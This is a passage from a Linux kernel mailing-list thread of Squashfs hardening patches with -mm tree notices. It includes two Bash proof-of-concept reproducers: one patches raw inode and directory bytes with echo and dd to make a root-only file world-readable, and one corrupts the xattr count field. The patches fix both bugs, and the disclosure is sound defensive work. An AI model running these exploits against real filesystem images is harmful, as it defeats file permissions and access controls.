# root inode. The start block is an offset from the inode_table_start, # and not an absolute value. The start of the inode table is 122, the # new inode is placed at position 949, and so the offset is 827. Because # we've only stored one inode in the metadata block, the offset into # that block is 0. echo Updating the root_inode field in the superblock
/usr/bin/echo -en "\x00\x00\x3B\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt/data, if the exploit is successful, permissions should be 0777 echo "************************************************************************" echo Stat /mnt/data, if the exploit is successful, permissions should be 0777
stat /mnt/data
popd 2>&1> /dev/null
rm -rf $DIR
=====================================================================
---
v3:
- Change definition of start from u64 to s64 in squashfs_lookup().
- Remove v2 check to ensure empty filesystems do not trigger new sanity checks. This is now dealt with in patch 8.
v2:
- Ensure dire is not used uninitialised.
- Ensure empty filesystems do not trigger new sanity checks.
--- fs/squashfs/dir.c | 19 +++++++++++++------ fs/squashfs/namei.c | 16 +++++++++++----- fs/squashfs/squashfs_fs_sb.h | 1 + fs/squashfs/squashfs_helpers.h | 16 ++++++++++++++++ fs/squashfs/super.c | 1 + 5 files changed, 42 insertions(+), 11 deletions(-)
fs/squashfs/dir.c +13 -6
@@ -22,6 +22,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const unsigned char squashfs_filetype_table[] = {
@@ -41,6 +42,7 @@ static int get_dir_index_using_offset(struct super_block *sb, int i_count, u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int err, i, index, length =0 ;unsigned int size;struct squashfs_dir_index dir_index;
@@ -81,9 +83,12 @@ static int get_dir_index_using_offset(struct super_block *sb,if (err <0 )break ; + res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); +if (res <0 ) +break ; + length = index; - *next_block =le32_to_cpu (dir_index.start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -99,11 +104,11 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx) {struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -u64 block; +s64 block;int offset, length, err;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; +struct squashfs_dir_entry *dire =NULL ;TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start,squashfs_i (inode)->offset);
@@ -141,15 +146,17 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)/* The directory is empty, nothing more to do */ goto finish; + block =squashfs_dir_start (squashfs_i (inode)->start, msblk); +if (block <0 ) + goto failed_read; + dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {ERROR ("Failed to allocate squashfs_dir_entry\n" ); goto finish; } - block =squashfs_i (inode)->start + msblk->directory_table; offset =squashfs_i (inode)->offset; - length = get_dir_index_using_offset(inode->i_sb, &block, &offset, squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset,
fs/squashfs/namei.c +11 -5
@@ -66,6 +66,7 @@ static int get_dir_index_using_name(struct super_block *sb, int index_offset, int i_count, const char *name) { struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int i, length =0 , err;unsigned int size;struct squashfs_dir_index *index;
@@ -102,9 +103,12 @@ static int get_dir_index_using_name(struct super_block *sb,if (strcmp (index->name, name) >0 )break ; + res =squashfs_dir_start (le32_to_cpu (index->start_block), msblk); +if (res <0 ) +break ; + length =le32_to_cpu (index->index); - *next_block =le32_to_cpu (index->start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -130,7 +134,7 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,struct squashfs_sb_info *msblk = dir->i_sb->s_fs_info;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire =NULL ; -u64 block; +s64 block;int offset, err, length;unsigned int dir_count, size;
@@ -144,15 +148,17 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,/* The directory is empty, and so there's nothing to do */ goto exit_lookup; + block =squashfs_dir_start (squashfs_i (dir)->start, msblk); +if (block <0 ) + goto data_error; + dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {ERROR ("Failed to allocate squashfs_dir_entry\n" );return ERR_PTR (-ENOMEM ); } - block =squashfs_i (dir)->start + msblk->directory_table; offset =squashfs_i (dir)->offset; - length = get_dir_index_using_name(dir->i_sb, &block, &offset, squashfs_i(dir)->dir_idx_start, squashfs_i(dir)->dir_idx_offset,
fs/squashfs/squashfs_fs_sb.h +1 -0
@@ -67,6 +67,7 @@ struct squashfs_sb_info {__le64 *inode_lookup_table;u64 inode_table;u64 directory_table; +u64 directory_table_end;u64 xattr_table;unsigned int block_size;unsigned short block_log;
fs/squashfs/squashfs_helpers.h +16 -0
@@ -70,6 +70,22 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset)return ((s64 )start <<16 ) | offset; } +/* directory helper functions */ +static inline s64 squashfs_dir_start (u32 blk,struct squashfs_sb_info *msblk) +{ +s64 start; + +if (S64_MAX - msblk->directory_table < blk) +return -EINVAL ; + + start = msblk->directory_table + blk; + +if (start >= msblk->directory_table_end) +return -EINVAL ; + +return start; +} +/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) {
fs/squashfs/super.c +1 -0
@@ -437,6 +437,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) err = -EINVAL ; goto insanity; } + msblk->directory_table_end = next_table;/* Sanity check inode_table */ if (msblk->inode_table >= msblk->directory_table) {
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-sanity-check-directory-metadata-block-location.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: sanity check directory metadata block location has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: sanity check directory metadata block location
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-sanity-check-directory-metadata-block-location.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-sanity-check-directory-metadata-block-location.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check directory metadata block location
Date: Mon, 23 Nov 2026 03:42:53 +0000
The contents of directories are stored in compressed metadata blocks, which are placed in the directory table. The location of a directory is thus represented as a tuple, the location of the compressed metadata block that the directory is in, and the offset into the uncompressed block. The block location is not absolute, and it is instead encoded as an offset from the start of the directory table.
An attacker could manipulate the directory block location to make it point to a replacement malicious directory stored elsewhere, outside the directory table. This is because the code does not check that the location is valid and is within the directory table.
In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to store a malicious directory.
Also anyone with access to Mksquashfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However, there are a number of exploit scenarios here. Many embedded systems or secure systems have deliverately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem has a file in the root directory with permissions 0700 (u=rxw), where only the superuser can read it. But using this bug an attacker could create a malicious replacement directory in the inode lookup table (used by NFS), that points to a malicious replacement inode that has the permissions changed to 0777 (a=wrx). On reboot/remount this would make the file readable by unprivileged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_dir_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the directory is within the directory table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the file "data" permissions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
===================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none echo "data f 0700 0 0 echo some data" >> pseudo echo "files d 0777 0 0" >> pseudo
for i in $(seq 1 100); do
echo "files/$i f 0655 1000 1000 cat zero" >> pseudo
done
# Create a Squashfs filesystem
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# Exploit: The file named "data" has permissions 0700, which can only be
# read by the superuser. The desire is to change the permissions on # the file to be 0777, which can be read by unprivileged users. # # Due to compression of the metadata, this cannot be done by directly # writing to the metadata tables. Instead the real metadata is replaced # by malicious metadata starting from the "data" file inode upwards to # the root inode. # # This is a three step process. # # 1. A new "data" file inode is placed within the inode lookup table # 2. A new root directory which points to the new "data" file inode is # placed in the inode lookup table # 3. A new root inode which pounts to the new root directory table is # placed in the inode lookup table. # # For brevity this reproducer uses pre-computed data for the above.
# Write malicious inode for file "data", this is the same as the
# original except it is uncompressed, and the permissions are set to # 0777. echo Writing malicious inode for file \"data\"
/usr/bin/echo -en "\x20\x80\x02\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x0A\x00\x00\x00" > file
dd bs=1 seek=1034 if=file of=img.sqsh count=34 conv=notrunc status=none
# Write directory data which points to the malicious inode echo Writing root directory which points to malicious inode
/usr/bin/echo -en "\x31\x80\x00\x00\x00\x00\x90\x03\x00\x00\x01\x00\x00\
\x00\x00\x00\x00\x00\x02\x00\x03\x00\x64\x61\x74\x61\x00\x00\x00\x00\
\x00\x00\x00\x00\x02\x00\x00\x00\xA0\x0C\x00\x00\x01\x00\x04\x00\x66\
\x69\x6c\x65\x73" > file
dd bs=1 seek=983 if=file of=img.sqsh count=51 conv=notrunc status=none
#
# Write root inode, this is the same as the original root inode, except
# it is uncompressed, and it points to the new directory data echo Writing root inode which points to the new root directory
/usr/bin/echo -en "\x20\x80\x01\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x67\x00\x00\x00\x43\x02\x00\x00\x03\x00\x00\x00\x34\x00\x00\
\x00\x00\x00\x00\x00" > file
dd bs=1 seek=949 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new
# root inode. The start block is an offset from the inode_table_start, # and not an absolute value. The start of the inode table is 122, the # new inode is placed at position 949, and so the offset is 827. Because # we've only stored one inode in the metadata block, the offset into # that block is 0. echo Updating the root_inode field in the superblock
/usr/bin/echo -en "\x00\x00\x3B\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt/data, if the exploit is successful, permissions should be 0777 echo "************************************************************************" echo Stat /mnt/data, if the exploit is successful, permissions should be 0777
stat /mnt/data
popd 2>&1> /dev/null
rm -rf $DIR
=====================================================================
fs/squashfs/dir.c | 19 +++++++++++++------ fs/squashfs/namei.c | 16 +++++++++++----- fs/squashfs/squashfs_fs_sb.h | 1 + fs/squashfs/squashfs_helpers.h | 16 ++++++++++++++++ fs/squashfs/super.c | 1 + 5 files changed, 42 insertions(+), 11 deletions(-)
fs/squashfs/dir.c renamed from fs/squashfs/dir.c~squashfs-sanity-check-directory-metadata-block-location +13 -6
@@ -22,6 +22,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const unsigned char squashfs_filetype_table[] = {
@@ -41,6 +42,7 @@ static int get_dir_index_using_offset(st int i_count, u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int err, i, index, length =0 ;unsigned int size;struct squashfs_dir_index dir_index;
@@ -81,9 +83,12 @@ static int get_dir_index_using_offset(stif (err <0 )break ; + res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); +if (res <0 ) +break ; + length = index; - *next_block =le32_to_cpu (dir_index.start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -99,11 +104,11 @@ static int squashfs_readdir(struct file {struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -u64 block; +s64 block;int offset, length, err;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; +struct squashfs_dir_entry *dire =NULL ;TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start,squashfs_i (inode)->offset);
@@ -141,15 +146,17 @@ static int squashfs_readdir(struct file/* The directory is empty, nothing more to do */ goto finish; + block =squashfs_dir_start (squashfs_i (inode)->start, msblk); +if (block <0 ) + goto failed_read; + dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {ERROR ("Failed to allocate squashfs_dir_entry\n" ); goto finish; } - block =squashfs_i (inode)->start + msblk->directory_table; offset =squashfs_i (inode)->offset; - length = get_dir_index_using_offset(inode->i_sb, &block, &offset, squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset,
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-sanity-check-directory-metadata-block-location +11 -5
@@ -66,6 +66,7 @@ static int get_dir_index_using_name(stru int index_offset, int i_count, const char *name) { struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int i, length =0 , err;unsigned int size;struct squashfs_dir_index *index;
@@ -102,9 +103,12 @@ static int get_dir_index_using_name(struif (strcmp (index->name, name) >0 )break ; + res =squashfs_dir_start (le32_to_cpu (index->start_block), msblk); +if (res <0 ) +break ; + length =le32_to_cpu (index->index); - *next_block =le32_to_cpu (index->start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -130,7 +134,7 @@ static struct dentry *squashfs_lookup(ststruct squashfs_sb_info *msblk = dir->i_sb->s_fs_info;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire =NULL ; -u64 block; +s64 block;int offset, err, length;unsigned int dir_count, size;
@@ -144,15 +148,17 @@ static struct dentry *squashfs_lookup(st/* The directory is empty, and so there's nothing to do */ goto exit_lookup; + block =squashfs_dir_start (squashfs_i (dir)->start, msblk); +if (block <0 ) + goto data_error; + dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {ERROR ("Failed to allocate squashfs_dir_entry\n" );return ERR_PTR (-ENOMEM ); } - block =squashfs_i (dir)->start + msblk->directory_table; offset =squashfs_i (dir)->offset; - length = get_dir_index_using_name(dir->i_sb, &block, &offset, squashfs_i(dir)->dir_idx_start, squashfs_i(dir)->dir_idx_offset,
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-sanity-check-directory-metadata-block-location +1 -0
@@ -67,6 +67,7 @@ struct squashfs_sb_info {__le64 *inode_lookup_table;u64 inode_table;u64 directory_table; +u64 directory_table_end;u64 xattr_table;unsigned int block_size;unsigned short block_log;
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-directory-metadata-block-location +16 -0
@@ -70,6 +70,22 @@ static inline s64 squashfs_mkinode(u32 sreturn ((s64 )start <<16 ) | offset; } +/* directory helper functions */ +static inline s64 squashfs_dir_start (u32 blk,struct squashfs_sb_info *msblk) +{ +s64 start; + +if (S64_MAX - msblk->directory_table < blk) +return -EINVAL ; + + start = msblk->directory_table + blk; + +if (start >= msblk->directory_table_end) +return -EINVAL ; + +return start; +} +/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) {
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-sanity-check-directory-metadata-block-location +1 -0
@@ -437,6 +437,7 @@ check_directory_table: err = -EINVAL ; goto insanity; } + msblk->directory_table_end = next_table;/* Sanity check inode_table */ if (msblk->inode_table >= msblk->directory_table) {
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 13/23 Squashfs: widen xattr count variables and add sanity check
In reply to Phillip LougherThe maximum number of Xattrs in an inode is 2^32-1 in Squashfs. However the code incorrectly treats the count as signed, or 2^31-1.
This means any value above 2^31-1 becomes a negative number, and it means loops will not terminate due to the negative comparison. This means the code will continue reading the filesystem until either the data is incorrect, or the end of the filesystem is reached.
The code also lacks a check that the count is too large, which will again mean that the code will continue reading the filesystem.
Finally, the code also lacks a check for a zero count, this means anything reading xattrs from the inode will successfully read no xattrs, even though this should have returned error due to corruption.
This commit changes the variables to be unsigned, and so negative values do not occur, and it first adds a sanity check for a zero xattr count, and second checks that the count isn't larger than the xattr size.
Reproducer
==========
This reproducer allows both zero, negative and large xattr count to be reproduced. In the case of a negative or large count, the exploit succeeds if dmesg shows the code failed to read a metadata block, due to the loop not terminating. In the case of a zero count, the exploit succeeds if gerfattr successfully returns with no xattrs.
====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}if [ $# -lt 1 ]; then
echo This needs a parameter
echo $0 N/0/L
echo N reproduce negative xattr count
echo 0 reproduce 0 xattr count
echo L reproduce a large count
exit 1
fi
if [ $1 = "N" ]; then
echo Reproducing negative xattr count
elif [ $1 = "0" ]; then
echo Reproducing 0 xattr count
elif [ $1 = "L" ]; then
echo Reproducing large xattr count
else
echo Input not N, 0 or L
exit 1
fi
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
echo "/ d 0777 0 0" > pseudo
echo "example f 0777 0 0 echo example data" >> pseudo echo "example x user.comment=example xattr" >> pseudo
# Generate the Squashfs filesystem
echo Generate the Squashfs filesystem
mksquashfs - img.sqsh -pf pseudo -quiet -no-progress -noX
# The xattr_id_table_start is at offset 56 in the superblock, 32-bit little-endian. # For such a small filesystem, we only need to read the first two bytes. low=$(dd if=img.sqsh bs=1 skip=56 count=1 status=none | od -An -v -tu1 | tr -d '\n') hi=$(dd if=img.sqsh bs=1 skip=57 count=1 status=none | od -An -v -tu1 | tr -d '\n') start=$(( $hi * 256 + $low ))
# The start of the single xattr id is 16 bytes before the xattr_id_table, and the
# count field is 8 bytes before (( start -= 8 ))
if [ $1 = "N" ]; then
# Write -1 to the count field
echo Writing -1 to the count field
echo -ne "\xff\xff\xff\xff" > file
elif [ $1 = "0" ]; then
# Write 0 to the count field
echo Writing 0 to the count field
echo -ne "\x00\x00\x00\x00" > file
else
# Write 255 to the count field
echo Writing 255 to the count field
echo -ne "\xff\x00\x00\x00" > file
fi
dd if=file of=img.sqsh bs=1 seek=$start count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
if [ $1 = "0" ]; then
if ! getfattr /mnt/example > output; then
echo Exploit failed, getfattr returned error
elif [ ! -s output ]; then
echo Exploit succeeded, getfattr returned success with no xattrs
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
else
if ! getfattr /mnt/example; then
echo Getfattr failed, this is expected.
echo If dmesg shows the following, then the exploit succeeded echo SQUASHFS error: Failed to read block 0x124: -5
echo SQUASHFS error: Unable to read metadata cache entry [122]
else
echo Getfattr succeeded with some xattrs. The filesystem was not corrupted
fi
fi
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
====================================================================
--- fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/xattr.c | 27 ++++++++++++++++++++------- fs/squashfs/xattr.h | 6 +++--- fs/squashfs/xattr_id.c | 3 ++- 5 files changed, 27 insertions(+), 13 deletions(-)
fs/squashfs/inode.c +1 -1
@@ -460,7 +460,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_blocks += ((squashfs_i (inode)->xattr_size -1 ) >>9 ) +1 ; }else -squashfs_i (inode)->xattr_count =0 ; +squashfs_i (inode)->xattr =SQUASHFS_INVALID_BLK ;return 0 ;
fs/squashfs/squashfs_fs_i.h +1 -1
@@ -15,7 +15,7 @@ struct squashfs_inode_info {int offset;u64 xattr;unsigned int xattr_size; -int xattr_count; +unsigned int xattr_count;int parent; union { struct {
fs/squashfs/xattr.c +20 -7
@@ -33,13 +33,16 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err; -/* check that the file system has xattrs */ -if (msblk->xattr_id_table ==NULL ) -return -EOPNOTSUPP ; +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return 0 ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ;/* loop reading each xattr name */ while (count--) {
@@ -111,12 +114,21 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table;int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -int count =squashfs_i (inode)->xattr_count; +unsigned int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize; -char *target =kmalloc (name_len,GFP_KERNEL ); +char *target; + +/* check that the file has xattrs */ +if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK ) +return -ENODATA ; + +if (count ==0 || count >squashfs_i (inode)->xattr_size) +return -EIO ; + + target =kmalloc (name_len,GFP_KERNEL );if (target ==NULL ) -return -ENOMEM ; +return -ENOMEM ;/* loop reading each xattr name */ for (; count; count--) {
@@ -169,6 +181,7 @@ static int squashfs_xattr_get(struct inode *inode, int name_index, goto failed; vsize =le32_to_cpu (val.vsize); +if (buffer) {if (vsize > buffer_size) { err = -ERANGE ;
fs/squashfs/xattr.h +3 -3
@@ -11,8 +11,8 @@#ifdef CONFIG_SQUASHFS_XATTR extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *); -extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,int *, -unsigned int *,unsigned long long *); +extern int squashfs_xattr_lookup (struct super_block *,unsigned int , +unsigned int *,unsigned int *,unsigned long long *);#else static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids)
@@ -31,7 +31,7 @@ static inline __le64 *squashfs_read_xattr_id_table(struct super_block *sb, }static inline int squashfs_xattr_lookup (struct super_block *sb, -unsigned int index,int *count,unsigned int *size, +unsigned int index,unsigned int *count,unsigned int *size,unsigned long long *xattr) {return 0 ;
fs/squashfs/xattr_id.c +2 -1
@@ -27,7 +27,8 @@* Map xattr id using the xattr id look up table */ int squashfs_xattr_lookup (struct super_block *sb,unsigned int index, -int *count,unsigned int *size,unsigned long long *xattr) +unsigned int *count,unsigned int *size, +unsigned long long *xattr) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block =squashfs_xattr_block (index);
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-widen-xattr-count-variables-and-add-sanity-check.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: widen xattr count variables and add sanity check has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: widen xattr count variables and add sanity check
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-widen-xattr-count-variables-and-add-sanity-check.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-widen-xattr-count-variables-and-add-sanity-check.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: widen xattr count variables and add sanity check
Date: Mon, 23 Nov 2026 03:42:54 +0000
The maximum number of Xattrs in an inode is 2^32-1 in Squashfs. However the code incorrectly treats the count as signed, or 2^31-1.
This means any value above 2^31-1 becomes a negative number, and it means loops will not terminate due to the negative comparison. This means the code will continue reading the filesystem until either the data is incorrect, or the end of the filesystem is reached.
The code also lacks a check that the count is too large, which will again mean that the code will continue reading the filesystem.
Finally, the code also lacks a check for a zero count, this means anything reading xattrs from the inode will successfully read no xattrs, even though this should have returned error due to corruption.
This commit changes the variables to be unsigned, and so negative values do not occur, and it first adds a sanity check for a zero xattr count, and second checks that the count isn't larger than the xattr size.
Reproducer
==========
This reproducer allows both zero, negative and large xattr count to be reproduced. In the case of a negative or large count, the exploit succeeds if dmesg shows the code failed to read a metadata block, due to the loop not terminating. In the case of a zero count, the exploit succeeds if gerfattr successfully returns with no xattrs.
====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}if [ $# -lt 1 ]; then
echo This needs a parameter
echo $0 N/0/L
echo N reproduce negative xattr count
echo 0 reproduce 0 xattr count
echo L reproduce a large count
exit 1
fi
if [ $1 = "N" ]; then
echo Reproducing negative xattr count
elif [ $1 = "0" ]; then
echo Reproducing 0 xattr count
elif [ $1 = "L" ]; then
echo Reproducing large xattr count
else
echo Input not N, 0 or L
exit 1
fi
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
echo "/ d 0777 0 0" > pseudo
echo "example f 0777 0 0 echo example data" >> pseudo echo "example x user.comment=example xattr" >> pseudo
# Generate the Squashfs filesystem
echo Generate the Squashfs filesystem
mksquashfs - img.sqsh -pf pseudo -quiet -no-progress -noX
# The xattr_id_table_start is at offset 56 in the superblock, 32-bit little-endian. # For such a small filesystem, we only need to read the first two bytes. low=$(dd if=img.sqsh bs=1 skip=56 count=1 status=none | od -An -v -tu1 | tr -d '\n') hi=$(dd if=img.sqsh bs=1 skip=57 count=1 status=none | od -An -v -tu1 | tr -d '\n') start=$(( $hi * 256 + $low ))
# The start of the single xattr id is 16 bytes before the xattr_id_table, and the
# count field is 8 bytes before (( start -= 8 ))
if [ $1 = "N" ]; then
# Write -1 to the count field
echo Writing -1 to the count field
echo -ne "\xff\xff\xff\xff" > file
elif [ $1 = "0" ]; then
# Write 0 to the count field
echo Writing 0 to the count field
echo -ne "\x00\x00\x00\x00" > file
else
# Write 255 to the count field
echo Writing 255 to the count field
echo -ne "\xff\x00\x00\x00" > file
fi
dd if=file of=img.sqsh bs=1 seek=$start count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
if [ $1 = "0" ]; then
if ! getfattr /mnt/example > output; then
echo Exploit failed, getfattr returned error
elif [ ! -s output ]; then
